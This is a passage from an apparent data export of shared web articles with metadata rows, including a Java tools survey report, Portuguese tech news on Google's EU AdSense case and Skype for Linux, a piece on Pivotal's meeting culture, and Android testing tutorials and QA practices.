real doozy of a question! The eternal battle between good and evil is nothing compared to the IDE flame war! This year marks a very special milestone for this question, as all previous surveys have seen Eclipse take the top spot. This year, even after combining the different Eclipse flavors, such as STS and JBoss tool suite etc, IntelliJ is the number one IDE among Java developers for the first time in our survey. Not only is it number one, but with 46% of the share it beats Eclipse by a clear 5% of the vote! In part 3 we'll see the trend of previous years to determine whether this result was expected or not. SPOILER: It was! This will please JetBrains, the company behind IntelliJ IDEA, given the recent controversy over the new subscription based model that JetBrains introduced in 2015 (which is a great model by the way!). It will be interesting to see if they can hold the top spot next time we run the survey! NetBeans still has a solid 10% of the votes with 3% existing in the other category which includes hardcore devs, who use vi, vim, Emacs or a magnet, needle and steady hand, as well as JDeveloper, RAD and TextMate users (we're looking at you, @venkat_s !). Which build tool do you use most often? Another source of much frustration in a developer's job is their choice of build tool. Of course, unlike IDE choice, build tools are decided by the project rather than the individual developer. You wouldn't see a team of developers working on the same project using different build tools, which you quite often see with IDEs. The big question this year around build tools is whether Gradle has further eaten away at the Maven monopoly or not. Well, looking at the responses, Maven still has a very strong dominance in the build space with almost seven in ten developers (68%) downloading the internet every day using Maven. The Gradle team will be upset to see such a poor uptake of just 16% of the vote, with Ant just behind on 11%. There's always one using SBT, and that's covered in the other category along with the hardcore makefile users. #Respect. Note that the question here wasn't multiple choice, so as we've seen with other surveys, Gradle is used by many more people, but clearly not as the primary build tool. For more information about this, be sure to check out the trends section in Part 3 of this report. Which Application Server do you use for your main application? Application servers - the technology we love to hate! Whether we're waiting for yet another server restart (Wat! You should be using JRebel ! OK, cheap shot!), or fighting with a configuration model that could only have been dreamt up by an alien race, they often take the brunt of our bad language and frustrations. We asked a couple of questions about application server usage; one pertaining to production environments, the other about development preferences. While production environments are designed, in principle, by decision makers, a developer could always opt to use a lighter weight application server in their development environment. This of course brings other challenges, like migration issues between development and production, but for now we'll just look at what people are actually using. We can see from Figure 1.13 on the following page that Tomcat is once again the standout leader in application server usage with 42% of respondents using the application server in both development and production. So, almost one in two of those who state they use an application server, pick Tomcat. Everyone else takes the scraps that are left. In fact, Tomcat's biggest competitor among production applications servers is ""We don't use an application server in production"". That pretty much sums it up. However, I would have expected to see Tomcat's development percentage to be higher than production as I might have predicted that many using the heavyweight app servers in production would switch to Tomcat for ease of use in their local development environments. Perhaps Jetty has taken the mantle for this as the second most popular development application server at 12%. In fact, there are 50% more respondents using Jetty in development than production. Where does this additional 50% come from? One possibility is Spring Boot users, picking Jetty as their embedded server of choice. Looking down the graph in Figure 1.13, we see WAS and WebLogic lose the same percentage in development. Almost half of those using WebSphere in production switch application servers in development, which should be very concerning for IBM. A quarter of those using WebLogic in production also switch to a different server in development. WildFly and JBoss EAP share similar numbers as you'd expect with a minor percentage exchange where you'd expect those developing for a JBoss EAP production environment are using WildFly in development. Not really much of a migration as they're essentially the same codebase. It's nice to see GlassFish at 4% particularly after they received the cold shoulder treatment from Oracle. Perhaps this server has remained significant due to the support of the team at Payara - great job and community support, folks! Which databases do you use in production? This multiple choice question (hint - percentage values won't add up to 100%) is another we've used in the past. Databases are like bugs - every application has them! The question is, which is the most popular? Well, Oracle DB takes first place with 39% of respondents using it, but that's a mere 1% more than MySQL which sits pretty at 38%. MongoDB, the leading NoSQL provider is used by 15% of respondents in production. Interestingly, while the majority (56%) use just one database in their production environment, over four in ten respondents (42%) state they use 2 or more databases in production. Only 2% of respondents don't use any database in production. Not even little bobby tables could derail their applications! How long does it take you to compile, package and redeploy your application once you've made a code change, so that you can actually see your change at runtime? (in minutes) As the company behind JRebel, a tool that eliminates time spent during compile, package and redeploy stages, we're always interested in understanding how long it takes for developers to go from changing code in their IDE to seeing their code changes in a live runtime. We typically ask a question about how long a redeploy takes. But a more realistic question is to ask how long it takes a developer to go from making a change in their IDE to seeing their change in their runtime. This includes compilation, build, redeploy or server restart, state creation, including logging back into your app and navigating to the page with your changed code. We can see varying results from Figure 1.15 , and this is because different environmental factors will have contributing factors to this overall number, including application size, application state, build process, application server and so on. The majority sit in the 2-5 minute bracket, which is unacceptable for any developer to suffer through. In fact, over 70% of respondents were 2 minutes or over, with the median being 3 minutes and the mean an incredible 8.7 minutes. 18% of developers, that's almost one in five, have to wait over 10 minutes to see their code changes in a live runtime. For ideas of how you and your team can eliminate this wasted time and stay sane, visit . Which Web Frameworks do you use? Another topic that developers love to argue over is web frameworks. Which one is best overall? Which is more suitable for their needs? And even, which they need to learn to be best placed for their next job! Now, before you email in, note that this question could be answered with multiple selections, so numbers won't add up to 100, number-nerds. We can clearly see how dominant Spring has remained in 2016, with 43% of respondents stating they use Spring MVC. Spring Boot was also extremely strong (29%), particularly as a technology that was only created in 2014. This must be very pleasing for the teams at Pivotal. The closest competitor to Spring technologies is JSF at 19%, followed by Vaadin with 13%. Other things to note is the drop-off between Play 2 and Play 1 usage being quite significant, as users clearly choosing to migrate up to Play 2. Typically, applications use just one web framework. In fact, from our responses, the median number of web frameworks used is 1 with a mean of 1.4. This takes into account all responses, also factoring in all those who said they don't use web frameworks as well as those who do. If we remove the responses for who don't use web frameworks (17%), we're left with 41% of respondents who use one web framework and 42% of respondents who use two or more web frameworks. Therefore, if you're going to take advantage of web frameworks, you'll likely end up using more than just one in your application. Which Continuous Integration Server do you use? As one might expect from a survey that asks which CI servers people use, Jenkins is the runaway winner. The 10-year-old CI server is used by almost two in every three (60%) respondents. The biggest competition by votes is ironically the ""We don't do CI"" category, which makes Jenkins' dominance even more impressive. Bamboo is the next most popular CI server with 9% of the votes, with TeamCity, Hudson and Travis CI taking up the rest of the share. In the 'other' category, Circle CI is certainly a server worth mentioning that had a good portion of the remaining votes. Before we go, we should mention Hudson, the CI server from which Jenkins was forked back in 2011, with overwhelming support from the community. Note that Hudson was transferred from Oracle to the Eclipse foundation in 2012. Since Jenkins owns the market in the CI space and with 20 (twenty) times the number of users (using our sample data) compared to Hudson, it's a mystery why Hudson is still being developed or supported today. The game has long been won by Jenkins and perhaps it's time to unplug Hudson altogether. Which VCS do you use most often? It's time for you to cast your eyes upon another technology monopoly! This time, we're talking about VCS tools. Needless to say, saving our files in a directory using a format like: [filname]_[version] is the most popular solution... Oh no, that's incorrect! Git is actually the most popular solution, and by a wide margin! Almost 7 in 10 respondents state they use Git most often, seeing the infamous subversion (SVN) fall back quite a distance behind on 23%. Mercurial and CVS deserve having their names mentioned, taking 3% and 2% of the vote respectively, with many more tools being collected in the 'other' category. If anyone was in doubt or asking which VCS system won the fight, you're a bit late to the party. Git is most definitely the last VCS standing! Which Java Profilers do you use? VisualVM tops this category with 38% of the votes, but sadly 35% of respondents claim they don't use profilers at all. This is unfortunately a typical representation of how performance testing takes a back seat, particularly with developers. Years ago, the same could be said about quality testing during development time. With the introduction of developer focused profilers like XRebel, with 6% of the votes, we see a glimmer of hope for early application profiling that can be performed as developers write their code. JProfiler is another popular profiler, shown by the 16% share it got from respondents. It's very pleasing to see 15% of respondents using Java Mission Control. As a tool that's provided with the Oracle JDK and is free for use by developers on non-production data, it's a key tool to have in any performance tester's utility belt. YourKit and NetBeans profiler also perform well with 12% and 7% of the votes respectively. Which APMs do you use? Hang on, APMs? That's not a development thing - perhaps that's why almost one in three respondents had no clue which APMs are used to monitor their applications. This is even worse considering 47% of respondents state they don't use APMs, or perhaps they do but just don't know that they do! As a result, the most popular APM at just 11% of the votes is New Relic. In fact, it's more than twice as popular as the next APM, AppDynamics, with DynaTrace following closely behind with 4%. Which Virtualization Environments and tools do you use? As you would expect, the Docker hype manifests itself into the highest share in our survey among people who use virtualization environments, taking 32% of the votes. AWS ECS lags behind on 13% and there are few others posing any kind of competition beyond this. Interestingly, only 4% state they use Kubernetes, which is surprising given the amount of great press and conference sessions it gets. Perhaps we'll see increased adoption over the coming years. Virtualization is still a practice performed by the minority, with 54% of respondents stating they don't use virtualization environments at all. I expect this will switch in the near future, particularly if Docker's strong growth continues. Is your team agile ? The agile party mark a landslide victory, with 71% of respondents stating their teams are agile. This doesn't mean they are agile, of course. Rather, it means it's the individual's belief their team works in an agile way. Next, we'll look at which practices our respondents follow, and be sure to check out Part 2 when we break it down further to see which practices our agile developers follow! The results are popcorn worthy. Do you practice the following processes ? With only 4% of respondents working in a certified agile team, this likely says more about the number of teams who care about being certified agile than the practices most teams follow. One might argue that what works for one team is very different to another, so working in a prescribed way could be counter-intuitive for a team. Almost two in three respondents (59%) have daily standups - which is reasonable - with almost half of respondents (47%) using Kanban boards to manage their tasks. One in five of our respondents (20%) don't care too much for any of these practices, stating they don't follow any of them whatsoever. 39% of respondents state they assign tasks to their team at the beginning of a sprint which I would have expected to have been higher, given it's a core part of agility. Only one in five respondents (19%) claim they have well written specifications for their projects, so not much love for documentation there. Does your project have formal requirements for the following areas? Almost two in three respondents have formal functional requirements in their project, which used to be an anti-pattern of agile that encouraged people to ignore documentation altogether. I think this is a pretty outdated view of what it means to be agile and this is backed up with almost two thirds of respondents producing formal documentation. We can see everything else takes a lower priority to function, with security, rather surprisingly, next most popular with one in three stating they have formal requirements in place for their project. Performance is next with 29% of people caring enough to enforce formal requirements for their application. The same number (29%) don't care about any of these formalities, claiming they do not have formal requirements for any of these areas. Are you (or your company) likely to pay for development tooling ? Good tooling invariably comes at a cost. It's important for companies to understand that and empower their developers with the right tools they need to do the job. You wouldn't expect a chef or a builder or in fact any trade to do a job without giving them the right tools to accomplish that task well, but for some reason in software development it's often accepted. First, let's spend a minute thinking about the poor one in every ten developers (11%) whose company will plain not pay for any tooling whatsoever. Done that? Good. It's good to see the remaining nine out of ten respondents at least standing a chance of purchasing the tools they need. In fact, 6% of them will pretty much buy anything, while the vast majority, four out of five, will be able to purchase tools if they are essential or if their value can be proved. Checkpoint 1 In this blogpost we focused on the first part of our Java Tools and Technologies Landscape Report. And we just described the raw answers we got from the survey. No fluff, no pivoting, just pure data and answers. You can draw your conclusions already, the IntelliJ IDEA has overcome Eclipse in popularity, Maven is still the king, Git has won. People don't really understand agile and so on. However, this is not the end ! We've done more data analysis and it awaits you in the second and third parts of the report. And be sure to grab the pdf version of the report. It's beautiful, it's easier to read, we've put quite an effort into it! Check it out: Agreed, I need to check out the pdf version of the report Simon Maple Oleg Shelajev",en
1468504523,CONTENT SHARED,-2088615309014484136,8676130229735483748,-2413784802356185288,,,,HTML,http://meiobit.com/347546/google-vs-uniao-europeia-a-guerra-continua-comissao-acusa-gigante-de-abuso-de-poder-no-mercado-de-ads-por-causa-do-adsense/,UE não dá sossego ao Google. Novo alvo? O AdSense,"Já está bem claro que o Google não conseguirá se livrar da perseguição da Comissão Europeia. A guerra iniciada contra a gigante das buscas para por fim a suas práticas consideradas abusivas pode acabar com sérias consequências, e agora a frente do Velho Mundo acaba de ganhar mais munição: novas acusações sobre o abuso de poder exercido por Mountain View no mercado de publicidade, mirando especificamente no AdSense. O novo pacote de denúncias foi apresentado pela comissária para Competição da União Europeia Margrethe Vestager, e sabemos que ela odeia profundamente a empresa norte-americana. Considerada linha dura, ela vem fazendo pressões para punir o Google em diversas frentes, desde o não cumprimento do Direito ao Esquecimento ( a empresa perdeu a briga na França e será obrigada a deletar todas as referências da internet como um todo; o Google levou o caso à corte mas o cenário não é favorável a ela. Há indícios de que outros países possam adotar a mesma tática e desconfia-se que a Comissão não ficará quieta por muito tempo ) a questões envolvendo o Android, o motor de busca e outras coisas. Para Vestager o Google cresceu demais, a empresa é tão poderosa que inibe a competitividade e a inovação porque seus consumidores sequer cogitam procurar outra solução. Embora muitos defendam que Mountain View está em seu direito não é assim que um mercado sadio se mantém, portanto entre algumas medidas para resolver a situação, além de multa considera-se a possibilidade de rachar o Google ao meio , obrigando a parte responsável pelo motor de buscas separada do resto a compartilhar seu algoritmo com a concorrência, o que permitiria mais uniformidade e propiciaria o surgimento de novas companhias com capacidade de competir de igual para igual. A mais nova acusação de Vestager contra o Google foca no mercado de publicidade na internet. De acordo com os documentos apresentados os contratos de adesão ao AdSense, a plataforma de veiculação e monetização de ads da empresa impõe condições desfavoráveis à concorrência, pois deixa claro que sites de terceiros são impedidos de exibir suas propagandas na plataforma. Não obstante as propagandas do Google têm direito a espaços privilegiados nas páginas e concorrentes não podem ser colocados próximos deles ( evitando cliques acidentais para outros destinos ), bem como o dono do site é obrigado a contatar Mountain View sempre que fechar acordos com ads de fora. Em declaração, Vestager deixou claro que ""ser grande não dá ( ao Google ) o direito de inibir a competição e inovação, ao negar o mercado aos competidores"". São práticas abusivas desse tipo que disparam todos os alarmes na Europa e acabam por complicar ainda mais a vida da companhia. A Alphabet, holding do Google tem dez semanas para responder às acusações, sem falar na colher de chá de seis semanas adicionais que a Comissão deu para que a gigante se defendesse das acusações anteriores à respeito da quebras das leis antitruste envolvendo o Android, onde ela foi acusada de utilizar o sistema para promover seus serviços e produtos sem dar espaço à concorrência. Em nota o Google se manifestou dizendo que ""promove a competição"" e que irá analisar o caso, apresentando sua defesa posteriormente. In reaction to EC: We believe our innovations and product improvements have increased choice for EU consumers and promote competition (1/2) - Google in Brussels (@GoogleBrussels) July 14, 2016 We'll examine the Commission's renewed cases and provide a detailed response in the coming weeks (2/2) - Google in Brussels (@GoogleBrussels) July 14, 2016 É fato que o Google é grande demais, poderoso demais e nem de longe é bonzinho . O AdSense também reflete esse excesso de controle de Mountain View, vira e mexe donos de sites e blogs recebem notificações de que terão seu dinheiro cortado por conteúdo que infringe suas regras, mas não informam qual é o conteúdo problemático e sequer esclarecem seus critérios. Todo mundo pisa em ovos com ele e no caso da concorrência, é fato que os ads da gigante são proeminentes, recebem mais destaque e coletam muito mais dados. É direito da União Europeia bater de frente para defender seu mercado, bem como o Google tem o direito e obrigação de se defender. Num mercado regulado quem ganha são os consumidores e é isso que está em jogo aqui, a quebra de um monopólio de informação em prol de um cenário mais igualitário. Resta saber como essa longa novela irá terminar. Fonte: European Commission . Relacionados: Abuso , adsense , antitruste , Denúncia , Dinheiro , europa , Google Adsense , grana forte , Monopólio , União Européia",pt
1468506180,CONTENT SHARED,-5848755753905481990,8676130229735483748,-2413784802356185288,,,,HTML,http://meiobit.com/347470/microsoft-skype-lanca-novo-client-alpha-e-versao-web-do-messenger-para-linux-e-chrome-os-com-restricoes/,"Incrível, Skype se lembrou que o Linux existe!","Apesar do Linux manter uma comunidade pequena, porém ardorosa de fãs e ser muito forte no mercado corporativo para solução de grande porte, no desktop ele continua dando ponto de audiência. A Microsoft sabia disso, embora corporativamente a empresa ame o Linux ( até porque não é nada pessoal, apenas business ) ela nunca deu muita bola para o usuário final; no que diz respeito ao Skype por exemplo Redmond fingiu por anos que ele não existia. Não mais: hoje a empresa lançou um novo cliente do messenger para distros do pinguim e Chrome OS, só que obviamente algumas ressalvas precisam ser feitas. A Microsoft vinha ignorando o Linux há muito tempo. A última versão estável do Skype para a plataforma foi a 4.3, ficando esta extremamente defasada em relação às demais para Windows, Mac e dispositivos móveis; estas passaram da sétima versão e continuam sendo atualizadas constantemente, ganhando novas funções e melhorias enquanto a versão do pinguim parou no tempo. Ela apenas funcionava e nada mais, era meramente um quebra-galho. Só que em tempos de mundo conectado, alienar uma parcela de usuários ( ainda que mínimos ) não é uma decisão muito sábia, ainda mais com a política atual do CEO Satya Nadella de fazer da Microsoft uma empresa prestadora de serviços, ao invés de uma vendedora de software. Dessa forma o Skype deve sim se fazer presente no Linux e por tabela no Chrome OS, o sistema operacional que roda nos Chromebooks. Só que como atualizar o Skype 4.3 do Linux daria muito mais trabalho do que o aceitável a Microsoft decidiu lançar um cliente totalmente novo, em duas versões: há a tradicional, um pacote instalável pelos repositórios das distribuições e outra web, compatível com o Google Chrome até para funcionar nos Chromebooks. Tanto uma como a outra utilizam a API WebRTC e funcionam totalmente livres de plugins. Claro, há alguns detalhes que precisam ser levados em conta. O cliente ainda está em fase Alpha, portanto bugs são esperados. Ele não é compatível com versões antigas do Skype em outras plataformas, portanto o usuário Linux só conseguirá conversar com seus amigos no Windows, Mac ou plataformas móveis se estes estiverem rodando a última versão do messenger, e ele ainda não realiza chamadas para telefones fixos ou celulares. Por fim, apenas o chat de voz está habilitado num primeiro momento e não há previsão de quando introduzirão as conversas por texto ou outras novidades . Apesar de ainda estar bem cru, como o código-fonte do Skype para Linux será escrutinado pela comunidade e é o mesmo para todas as versões, e dado o evidente interesse do Google em torná-lo verdadeiramente funcional no Chrome OS podemos dizer que ele será atualizado com mais frequência do que a versão anterior, e tal estratégia da Microsoft demonstra que desta vez a plataforma não será abandonada. Os usuários agradecem enquanto continuam aguardando pelo Ano do Linux no Desktop, lembrando que ela foi atualizada: agora é $ano_do_linux = YEAR(NOW())+5 . Fonte: Skype . Relacionados: abandono , abandonware , Alpha , Android e Linux , Ano do Linux , chamada de voz , Chrome , Chrome OS , chromium , compatibilidade , comunidade , google chrome , messenger , skype",pt
1468508881,CONTENT SHARED,-5009578843275173733,881856221521045800,-5182513518341398691,,,,HTML,http://www.businessinsider.com/pivotal-ceo-rob-mee-on-meetings-2016-7,This $2.8 billion startup gets all of its daily meetings done in 10 minutes,"Matt Weinberger/Business Insider This morning I made another visit to the San Francisco headquarters of Pivotal - the $2.8 billion enterprise-software company backed by the likes of Ford, Microsoft, and GE - to meet some of the management team. I arrived just in time for breakfast: Like I found out on my previous visit, Pivotal brings in a catered breakfast every single day as an incentive to make sure all employees are around for a daily all-hands meeting, attended by everybody in every department, at precisely 9:06am . (Breakfast today was chicken and waffles. It was delicious. I didn't get a picture. Sorry.) This time, though, I got to sit in on one of those all-hands meetings. They introduced new faces, announced company-wide events including a call for people to attend a diversity in recruiting workshop, and one guy asked if anybody had found his headphones (no one did). Each new speaker was tossed a microphone embedded in a green plush box so it wouldn't break if it fell. Approximately five minutes later, it was over - the whole company clapped at once, like breaking a football huddle, and then wandered for more meetings, this time in their smaller project teams. Five to ten minutes later, those meetings broke up, though not all the teams clapped. Then, with everyone on the same page, it was off to work. Glassdoor/Pivotal And that, I'm told, are all the meetings that they have in a day. Two meetings, ten, maybe fifteen, very rarely twenty minutes long, and then the whole rest of the day is free to work, every single day. After that, in stark contrast to companies like Google or Facebook where employees are expected to stay late, everybody goes home no later than 6pm. It's all a part of what Pivotal CEO Rob Mee calls ""sustainable software development."" Pivotal claims that it keeps its employees productive around 38 hours of their 40-ish hour working weeks, with so little time eaten up by meetings and other time-wasters. ""Productive teams are happy teams,"" Mee says. ""The only thing that will keep your developers happy is to make them feel productive."" Sustainability This kind of culture is actually one of Pivotal's main products: A huge part of its business is a kind of boot camp, where companies like Home Depot, Ford, and Allstate send teams of developers to learn how to build software the same way that Silicon Valley does. Three months or so later, they leave not only with a new set of technical skills, but a new toolset for managing people to maximize their productivity. If you remove all of the barriers to productivity, including endless meetings, and maintain a rigid work-life balance, not only will you get more stuff done - you minimize the risk of burning out your precious talent , as happens with many tech workers . Mee argues that not only do longer hours make for unhappier employees, it makes for lousier products, too. What happens at tech companies, Mee says, is that workers stay up late working on their projects. Matt Weinberger/Business Insider But because they're working so late, they're not telling anybody or documenting just what it is they're doing, meaning potentially bad surprises for the team the next day. Meanwhile, the person who created the problem is sleeping in, and unreachable, after their late night. ""The more you do that, the more you wall yourself off,"" Mee says. ""I don't think that's sustainable over a long period of time."" Pivotal does offer a wide range of startup-style perks, including those catered breakfasts, fridges full of unlimited soda and sparkling water, gophers who will run errands for you during your lunch break, and a monthly visit from a barber to offer employees an at-office haircut. But Mee explains that all of that is to remove all distractions from productivity, so you can get as much work done as possible during normal working hours. You don't have to take a long lunch for a haircut if you get it done at the office, after all. Here's another example: It's a well-documented fact that lots of developers like to work with headphones on, tuning out the world around them and communicating with teammates via chat services like Slack as they focus on solving the problem of the moment. So at Pivotal, in lieu of forcing developer teams to meet with each other, members on each team take turns on ""Interrupt"" duty. As in, if anybody in the company has a question for that team, they're the ones designated to take their headphones off and lend a hand. Everybody else is free to keep coding, with no corporate distractions, guaranteed. Matt Weinberger/Business Insider ""You're just solving problems and writing code,"" Mee says. Still, one Pivotal executive told me during my visit today, not everybody gets it. Some companies have kind of a ""cargo cult"" mentality. Inspired by a visit to Pivotal, the company will set up their office to look like a Silicon Valley startup, with open floor plan, a drink fridge and other goodies. But the company will also force employees to attend 45-minute mandatory meetings every morning. That's why Mee prefers big companies come in with an open mind about both the technology and the philosophy. ""Suspend your disbelief for three months and try it our way,"" Mee says. SEE ALSO: This $2.8 billion startup serves breakfast at exactly 9:06 a.m. every day because of programmers' bad habits NOW WATCH: 10 habits you should break to be more productive in 2016",en
1468512844,CONTENT SHARED,3881851296308711302,8676130229735483748,-2413784802356185288,,,,HTML,http://www.vogella.com/tutorials/AndroidTesting/article.html,Developing Android unit and instrumentation tests - Tutorial,"The Android Testing Support Library provides functionality to create and run Android tests. The library contains the AndroidJUnitRunner , the Espresso test framework and the UI Automator. AndroidJUnitRunner allows to create and run JUnit 4 tests, while the Espresso test framework can be used to test the User Interface of your application. UI Automator allows to write cross application functional tests. AndroidJunitRunner provides access to the instrumentation API, via the InstrumentationRegistery . InstrumentationRegistry.getInstrumentation() , returns the Instrumentation currently running. InstrumentationRegistry.getContext() , returns the Context of this Instrumentation's package. InstrumentationRegistry.getTargetContext() , returns the application Context of the target application. InstrumentationRegistry.getArguments() , returns a copy of arguments Bundle that was passed to this Instrumentation. This is useful when you want to access the command line arguments passed to Instrumentation for your test. It also gives access to the life cycle via the ActivityLifecycleMonitorRegistry .",en
1468513197,CONTENT SHARED,1768976290984301641,8676130229735483748,-2413784802356185288,,,,HTML,http://testdroid.com/tech/top-5-android-testing-frameworks-with-examples,Top 5 Android Testing Frameworks with Examples,"Google's Android ecosystem continues to expand rapidly. It is evident that new mobile OEMs are emerging in every corner of the world, bringing in different screen sizes, ROM/firmwares, chipsets, and etc. For Android developers, it becomes rather difficult to cope with the fragmentation. Luckily, Android (including iOS) developers have had unlimited access to some advanced cloud-based solution, like Testdroid Cloud , to run automated tests on a large scale of real devices for quality assurance. Also the emergence of different Android testing frameworks has substantially eased Android developers' lives. Today we are going to behold 5 most used Android testing frameworks and break down the basics and code examples of each. You can also check out top 5 iOS test automation frameworks with examples here . Robotium Undoubted, Robotium was once the most widely used Android testing framework in the early days of Android world. With a similarity with Selenium in Android, it makes testing API simpler. Robotium is an open source library extending JUnit with plenty of useful methods for Android UI testing. It provides powerful and robust automatic black-box test cases for Android apps (native and hybrid) and web testing. With Robotium you can write function, system and acceptance test scenarios, and test applications where the source code is available. Robotium code example: For your convenience, Testdroid Recorder is an awesome recording tool built with Robotium for test script creation. By performing actual actions on your real device, it records every step or action you take and converts to Javascript for your further modification. In addition, you are also entitled to fully download and utilize our Extension Library - ExtSolo. It includes useful methods that have not been merged into Robotium, for instance: Automatic scaling of x,y clicks for any resolution Multi-path drags Automatic screenshots on test failure Mock locations Change device language Control WiFi connection uiautomator While Robotium is a good yet basic framework, uiautomator allows you to do more in testing Android apps and games. Google's test framework allows you to test user interface (UI) of your native Android apps on one or more devices. Another advantage of uiautomator is that it runs JUnit test cases with special privileges, which means test cases can span across different processes. It also provides five different classes for developers to use, including com.android.uiautomator.core.UiCollection; com.android.uiautomator.core.UiDevice; com.android.uiautomator.core.UiObject; com.android.uiautomator.core.UiScrollable; com.android.uiautomator.core.UiSelector Similar to its time of birth, it only works on Android devices with API level 16 or higher. Another downside of uiautomator is that it doesn't support webview, with no way to directly access Android objects. uiautomator's code example: Espresso Espresso is the latest Android test automation framework that got open-sourced by Google, making it available for developers and testers to hammer out their UIs. Espresso has an API that is small, predictable, easy to learn and built on top of the Android instrumentation framework . You can quickly write concise and reliable Android UI tests with it. It is supported on API level 8 (Froyo), 10 (Gingerbread), and 15 (Ice Cream Sandwich) and afterwards. It's quite reliable, synchronizing with the UI thread and fast because there is no need for any sleeps (tests run on same millisecond when an app becomes idle). But it does not have support for webviews as well. Espresso code example: Calabash Calabash is a cross-platform test automation framework for Android and iOS native and hybrid applications. Calabash's easy-to-understand syntax enables even non-technical people to create and execute automated acceptance tests for apps on both of these mobile platforms. Calabash's tests are described in Cucumber and then converted to Robotium or Frank in run time. It supports about 80 different natural language commands (controllers), and new controllers can be implemented in Ruby or Java. Calabash code example: Feature: Login feature Scenario: As a valid user I can log into my app I wait for text ""Hello"" Then I press view with id ""Sign in"" Then I enter text ""username"" into ""login_username"" Then I enter text ""password"" into ""login_password"" Then I wait for activity ""HomeTabActivity"" Then I press view with id ""menu_compose_tweet"" Then I enter text ""Testdroid"" into field with id ""edit"" Then I press view with id ""composer_post"" Appium Appium is a mobile test automation framework (and tool) for native, hybrid and mobile-web apps for iOS and Android. It uses JSONWireProtocol internally to interact with iOS and Android apps using Selenium's WebDriver . It supports Android via uiautomator (API level 16 or higher) and Seledroid (API level lower than 16), iOS via UI Automation, and mobile web as Selenium driver for Android and iOS. One of the biggest advantages of Appium is that you can write your Appium scripts on almost any programming language (e.g. Java, Objective-C, JavaScript, PHP, Ruby, Python or C#, etc), freedom from having to select tools, compatibility across the most important platforms (Android and iOS), freedom from having to install and configure devices to test and more. Also if you are familiar with Selenium, then it's easy for you to use Appium in mobile app testing. They use the same WebDriver and DesiredCapabilities is used in the same way. Configuring an application to run on Appium has a lot of similarities to Selenium. Appium code example: Wrapping up Here we have listed top 5 testing frameworks for your daily Android builds, creation, and correction. Certainly, each of them has its pros and cons. Appium is good in testing both your Android and iOS versions at the same time. But if you are a loyal Android developer with only Android-version app, for instance, then using Robotium is not a bad idea too. Relying on Testdroid Recorder will definitely save your lots of time and money (It's free!) in generating test scripts. Therefore, think about your testing need - functional testing, compatibility testing, UI testing, etc. - and pick up the right and best Android testing framework(s). Want to stay up-to-date with Mobile Testing News? Like us on Facebook. Android testing frameworks Appium Calabash Robotium uiautomator",en
1468513394,CONTENT SHARED,2362495898257544462,8676130229735483748,-2413784802356185288,,,,HTML,https://techcrunch.com/2012/06/02/android-qa-testing-quality-assurance/,How Do Top Android Developers QA Test Their Apps?,"A couple weeks ago I ran this post showing how one Hong Kong developer, Animoca, tests its Android games . The company, which has had more than 70 million downloads, tests every one of their apps on about 400 different devices. The photo above is from their headquarters and is just a taste of all the Android phones and tablets they use. Needless to say, that post pissed Android supporters off. Some commenters said it intimidated would-be developers, who might get scared off by Android fragmentation and the perception that you have to support hundreds of devices, screen sizes and densities and versions of the OS. So, I asked around to see how other mobile game developers do quality assurance testing for Android. This is what I got: Red Robot Labs : ( Backed by Benchmark Capital . Veteran founding team from EA, Playdom and Crowdstar. More than 3.5 million downloads. They currently have the #27 top-grossing game in the Google Play store.) Red Robot uses about 12 devices in-house and has a quality assurance team of two people. They then use a U.K.-based company called Testology to get further coverage with 35 handsets. ""I applied a common sense filter,"" says co-founder Pete Hawley , who hails from EA and has more than 15 years' experience in the gaming industry. He goes by an 80/20 rule in trying to identify a low number of devices that will cover the widest amount of users. They start with the basic data from Google that shows overall distribution of different versions of Android and screen size densities . Then they look at their analytics to find which devices are most widely used by their players. Finally, they'll look at player requests and support tickets. He says it's good to be selective about which devices to support, especially with all sorts of lower-end handsets coming in from Asia. ""Saying no to players with small, poor, outdated phones or old OSs is important too,"" he says. ""Overall, I'd say the process of staying on top of all the handsets, carriers, OS's and carriers wasn't as hard as I expected. It's not a great deal of work to keep the 80 percent well-covered."" ( Backed by Sequoia Capital , Redpoint Ventures . More than 70 million downloads. Newer to Android, but they had two of the top 10 grossing iOS games for all of last year according to Apple's iTunes Rewind. #35 top-grossing game in Google Play.) Here's a snapshot of how Red Robot's device distribution looked last fall. (It's a very fragmented pie!) So Pocket Gems' QA testing is actually run by a former Air Force colonel(!) named Ray Vizzone . They use a little more than 40 devices evaluated in a matrix they explain in the video below. They make sure they include both tablets and phones and then high-resolution and low-resolution devices. They also make sure to include all five major graphic processing units (GPUs) including Adreno, PowerVR, Tegra, Mali and Vivante. Their QA process is designed to be hyper-speedy as the gaming industry has changed in some fundamental ways over the last few years. Like what Zynga has done in the social gaming industry, today's mobile games are more like services rather than finished products you pick up off the shelf. So they require constant updates with fresh content every few days. For the San Francisco-based startup, quality assurance testing is a 24-7 process that involves teams both in the U.S. and abroad. After the U.S. team designs and performs tests during the day, they hand their work to an offshore team that has all of the exact same 40 or so Android devices. This team does extra compatibility testing overnight and files all of the bugs into a defect tracking system, which go back to the U.S. team in the morning. Pocket Gems tests all features in three phases. They have 1) new features testing 2) integration testing and 3) release candidate testing. Even as developers design new features for their games, Pocket Gems' QA teams are already at work designing tests for them so they can be checked the moment they're ready. Once those features are stabilized, they're integrated into the games and tested a second time. ""As the bugs are found and fixed during integration testing, the product managers and test leads begin their risk assessment as to when to freeze the code base in preparation for shipping,"" co-founder Harlan Crystal explains. ""Once this decision is made, a full regression test pass is started."" ( More than 300 million downloads . Totally bootstrapped. Four games in Android's top-grossing 50. Founders are early Facebook alums.) That final pass involves a full suit of tests that examine memory, performance and device compatibility. ""If we don't find any new or critical bugs during this RC test pass, we bless the bits and ship it!"" he says. Storm8 uses between 30 and 50 devices, which they divide into groups of high-end, mid-range and low-end devices. They intentionally buy devices for each category. After they launch games, they have the apps send back different KPIs (key performance indicators) back to the company's servers. (More then 70 million downloads. Backed by IDG-Accel and Intel Capital ). ""This way, we can tell if we need to further fine-tune a certain class of devices, or even specific devices, to squeeze the last bit of performance from the devices,"" says chief executive Perry Tam . After the original post ran, Animoca ran a longer piece explaining why it does quality assurance testing with so many devices . The main reason is because the company has a huge user base in mainland China and other parts of Asia where there is a plethora of lower-end and non-compatible Android devices (meaning phones that are based on the OS but aren't certified to run Google applications or the official Android app store). ""If we had taken the approach that 90 percent compatibility is good enough, we'd be lacking support for 7 million of [our] downloads,"" the company explains. ""Several millions of consumers would have had a bad experience as a result of our decision, and our app revenues would probably be short by around 10 percent."" Keep in mind that Animoca is not exactly a young company. It's a mobile gaming-centric arm of a more than 10-year-old company called Outblaze that has focused on digital media and apps for years. So they have lots of experience in doing compatibility and quality assurance testing. The company's 